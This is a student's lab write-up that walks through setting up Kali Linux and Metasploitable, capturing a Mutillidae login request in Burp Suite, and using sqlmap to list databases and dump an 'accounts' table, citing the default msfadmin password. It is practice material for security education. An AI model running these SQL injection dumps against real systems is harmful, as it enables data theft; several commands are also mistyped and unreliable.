**Name: Muhammad Hassan Shakoor Rana**

**Rollno: 22-10483**

**STEPS**

1. Open VM box

2. Start metasploitable

3. Start kali linux

4. Login metasploitable by writing msfadmin

5. Ifconfig command to get IP address

6. Open Kali Linux terminal and write ifonfig command

7. Write command \*sudo ifconf ig eth0 10.0.2.15 netmask 255.255.255.0

8. Apply password for msfadmin msfadmin

9. Then again give command ifconfig

10. Go back to Kali linux terminal and lets check if we are able to ping

ping 10.0.2.15

11. Open firefox browser from kali linux and write ip address in search bar and we connect to Metasploitable page where we can see a lot of applications

12. Select Multillidae

13. Select OWASP Top 10 and then Injection , then SQLi Extract Data , then User Info

14. Open burpsuite

15. Start Burp Suite

16. Go to proxy and then options and note down the ip address and port number

17. Go back to Firefox and go to settings and then preferences

18. Again select settings and choose Manual proxy configuration

19. Go to login page and enter some random name and password

20. Goto Burpsuite and off the Intercept is on

21. Again on the Intercept is off

22. Enter gain some random name and password and then forward from burpsuit and see of entire request has been captured to

23. Save the item by name extract.txt

24. Turn off now Intercept is on

25. Close BurpSuite and go to preferences and set default settings

26. Close all tabs

27. Enter command sqlmap

28. sqlmap -r /root/Desktop/extract.txt --dbs

29. Select the fetched back end DBMS is MySQL

30. Write sqlmap -r /root/Desktop/extract.txt owasp10 --tables

31. Choose default option

32. Now use command

sqlmap -r /root/Desktop/extract.txt -D owasp10 -T accounts --dump

33. Select default option

34. Go back to metasploitable and write cd/var/www/multillidea/

35. Now var/www/multillidea$ sudo nano iconf ig.inc

36. Give password msfadmin and Php file has been fetched

37. Write /var/www/multillidea$ cs../../../